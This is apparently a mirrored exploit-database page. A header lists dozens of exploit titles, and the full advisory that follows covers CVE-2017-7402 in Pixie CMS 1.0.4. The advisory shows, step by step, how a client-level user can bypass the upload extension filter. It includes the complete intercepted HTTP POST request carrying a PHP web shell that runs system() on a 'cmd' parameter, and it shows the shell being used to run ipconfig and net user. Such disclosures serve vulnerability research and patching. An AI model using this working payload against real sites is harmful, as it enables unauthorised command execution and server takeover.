6624e39c26
31 new exploits macOS/iOS Kernel 10.12.3 (16D32) - 'bpf' Heap Overflow macOS/iOS Kernel 10.12.3 (16D32) - SIOCGIFORDER Socket ioctl Off-by-One Memory Corruption macOS Kernel 10.12.2 (16C67) - Memory Disclosure Due to Lack of Bounds Checking in AppleIntelCapriController::getDisplayPipeCapability macOS Kernel 10.12.3 (16D32) - Use-After-Free Due to Double-Release in posix_spawn macOS/iOS Kernel 10.12.3 (16D32) - SIOCSIFORDER Socket ioctl Memory Corruption Due to Bad Bounds Checking macOS Kernel 10.12.3 (16D32) - 'audit_pipe_open' Off-by-One Memory Corruption macOS/iOS Kernel 10.12.3 (16D32) - Bad Locking in necp_open Use-After-Free macOS Kernel 10.12.2 (16C67) - 'AppleIntelCapriController::GetLinkConfig' Code Execution Due to Lack of Bounds Checking Broadcom Wi-Fi SoC - Heap Overflow in _wlc_tdls_cal_mic_chk_ Due to Large RSN IE in TDLS Setup Confirm Frame Apple WebKit 10.0.2 - HTMLInputElement Use-After-Free Apple WebKit - 'RenderLayer' Use-After-Free Apple WebKit - Negative-Size memmove in HTMLFormElement Apple WebKit - 'FormSubmission::create' Use-After-Free Apple WebKit - 'ComposedTreeIterator::traverseNextInShadowTree' Use-After-Free Apple WebKit - 'table' Use-After-Free Apple WebKit - 'WebCore::toJS' Use-After-Free macOS/iOS Kernel 10.12.3 (16D32) - Double-Free Due to Bad Locking in fsevents Device Bluecoat ASG 6.6/CAS 1.3 - Privilege Escalation (Metasploit) Bluecoat ASG 6.6/CAS 1.3 - OS Command Injection (Metasploit) Broadcom Wi-Fi SoC - TDLS Teardown Request Remote Heap Overflow Exploit SolarWinds LEM 6.3.1 - Remote Code Execution (Metasploit) Logsign 4.4.2 / 4.4.137 - Remote Command Injection (Metasploit) Broadcom Wi-Fi SoC - 'dhd_handle_swc_evt' Heap Overflow Pixie 1.0.4 - Arbitrary File Upload Apple Webkit - Universal Cross-Site Scripting by Accessing a Named Property from an Unloaded Window Apple WebKit 10.0.2(12602.3.12.0.1) - 'disconnectSubframes' Universal Cross-Site Scripting Apple WebKit 10.0.2(12602.3.12.0.1_ r210800) - 'constructJSReadableStreamDefaultReader' Type Confusion Apple WebKit 10.0.2(12602.3.12.0.1) - 'Frame::setDocument (1)' Universal Cross-Site Scripting Apple Webkit - 'JSCallbackData' Universal Cross-Site Scripting Maian Uploader 4.0 - 'index.php' keywords Parameter Cross-Site Scripting Maian Uploader 4.0 - admin/index.php keywords Parameter Cross-Site Scripting Maian Uploader 4.0 - admin/inc/header.php Multiple Parameter Cross-Site Scripting Maian Uploader 4.0 - 'keywords' Parameter Cross-Site Scripting Maian Uploader 4.0 - 'index.php' Cross-Site Scripting Maian Uploader 4.0 - 'header.php' Cross-Site Scripting Maian Uploader 4.0 - 'user' Parameter SQL Injection Maian Survey 1.1 - 'survey' Parameter SQL Injection Maian Greetings 2.1 - 'cat' Parameter SQL Injection
108 lines
4.3 KiB
Text
Executable file
108 lines
4.3 KiB
Text
Executable file
# Exploit Title: File Extension Filter Bypass in File Manager Pixie 1.0.4 With Low Privilege # Google Dork: no
|
||
# Date: 02-April-2017
|
||
# Exploit Author: @rungga_reksya, @dvnrcy, @dickysofficial
|
||
# Vendor Homepage: http://www.getpixie.co.uk
|
||
# Software Link: https://us.softpedia-secure-download.com/dl/44791fdde14260bc7a8d08df65bcd048/58db4b5c/700044699/webscripts/php/pixie_v1.04.zip
|
||
# Version: 1.0.4
|
||
# CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H (7.5 - HIGH)# CVE-2017-7402
|
||
|
||
I. Background:
|
||
Pixie is a free, open source web application that will help quickly create your own website. Many people refer to this type of software as a "content management system (cms)", we prefer to call it as Small, Simple, Site Maker.
|
||
|
||
II. Description:
|
||
in Pixie CMS have three types for account privilege for upload:
|
||
- Administrator - Can access file manager but restricted extension for file upload.
|
||
- Client - Can access file manager but restricted extension for file upload.
|
||
- User - Cannot access file manager
|
||
|
||
Generally Pixie CMS have restricted extension for file upload and we cannot upload php extension. in normally if we upload php file, Pixie CMS will give information rejected like this “Upload failed. Please check that the folder is writeable and has the correct permissions set”.
|
||
|
||
III. Exploit:
|
||
In this case, we used privilege as client and then access to “file manager” (http://ip_address/folder_pixie_v1.04/admin/index.php?s=publish&x=filemanager). Please follow this step:
|
||
|
||
1. Prepare software to intercept (I used burpsuite free edtion).
|
||
2. Prepare for real image (our_shell.jpg).
|
||
3. Browse your real image on file manager pixie cms and click to upload button.
|
||
4. Intercept and change of filename “our_shell.jpg” to be “our_shell.jpg.php”
|
||
5. Under of perimeter “Content-Type: image/jpeg”, please change and write your shell. in this example, I use cmd shell.
|
||
6. If you done, forward your edit request in burpsuite and the pixie cms will give you information like this “our_shell.jpg.php was successfully uploaded”.
|
||
7. PWN (http://ip_address/folder_pixie_v1.04/files/other/our_shell.jpg.php?cmd=ipconfig)
|
||
|
||
————
|
||
POST /pixie_v1.04/admin/index.php?s=publish&x=filemanager HTTP/1.1
|
||
Host: 192.168.1.1
|
||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
|
||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||
Accept-Language: en-US,en;q=0.5
|
||
Accept-Encoding: gzip, deflate
|
||
Referer: http://192.168.1.1/pixie_v1.04/admin/index.php?s=publish&x=filemanager
|
||
Cookie: INTELLI_843cae8f53=ovfo0mpq3t2ojmcphj320geku1; loader=loaded; INTELLI_dd03efc10f=2sf8jl7fjtk3j50p0mgmekpt72; f9f33fc94752373729dab739ff8cb5e7=poro8kl89grlc4dp5a4odu2c05; PHPSESSID=1ml97c15suo30kn1dalsp5fig4; bb2_screener_=1490835014+192.168.1.6; pixie_login=client%2C722b69fa2ae0f040e4ce7f075123cb18
|
||
Connection: close
|
||
Content-Type: multipart/form-data; boundary=---------------------------8321182121675739546763935949
|
||
Content-Length: 901
|
||
|
||
-----------------------------8321182121675739546763935949
|
||
Content-Disposition: form-data; name="upload[]"; filename="our_shell.jpg.php"
|
||
Content-Type: image/jpeg
|
||
|
||
<?php
|
||
if(isset($_REQUEST['cmd'])){
|
||
echo "<pre>";
|
||
$cmd = ($_REQUEST['cmd']);
|
||
system($cmd);
|
||
echo "</pre>";
|
||
die;
|
||
}
|
||
?>
|
||
|
||
-----------------------------8321182121675739546763935949
|
||
Content-Disposition: form-data; name="file_tags"
|
||
|
||
ourshell
|
||
-----------------------------8321182121675739546763935949
|
||
Content-Disposition: form-data; name="submit_upload"
|
||
|
||
Upload
|
||
-----------------------------8321182121675739546763935949
|
||
Content-Disposition: form-data; name="MAX_FILE_SIZE"
|
||
|
||
102400
|
||
-----------------------------8321182121675739546763935949
|
||
Content-Disposition: form-data; name="bb2_screener_"
|
||
|
||
1490835014 192.168.1.6
|
||
-----------------------------8321182121675739546763935949--
|
||
This is our screenshot from PoC:
|
||
| |
|
||
| Upload for valid image
|
||
|
|
||
|
||
|
||
| |
|
||
| Change extension and insert your shell
|
||
|
|
||
|
||
|
||
| |
|
||
| Your shell success to upload on server
|
||
|
|
||
|
||
|
||
| |
|
||
| Example command for ipconfig
|
||
|
|
||
|
||
|
||
| |
|
||
| Example command for net user
|
||
|
|
||
|
||
|
||
|
||
|
||
IV. Thanks to:
|
||
- Alloh SWT
|
||
- MyBoboboy
|
||
- @rungga_reksya, @dvnrcy, @dickysofficial
|
||
- Komunitas IT Auditor & IT Security Kaskus
|
||
|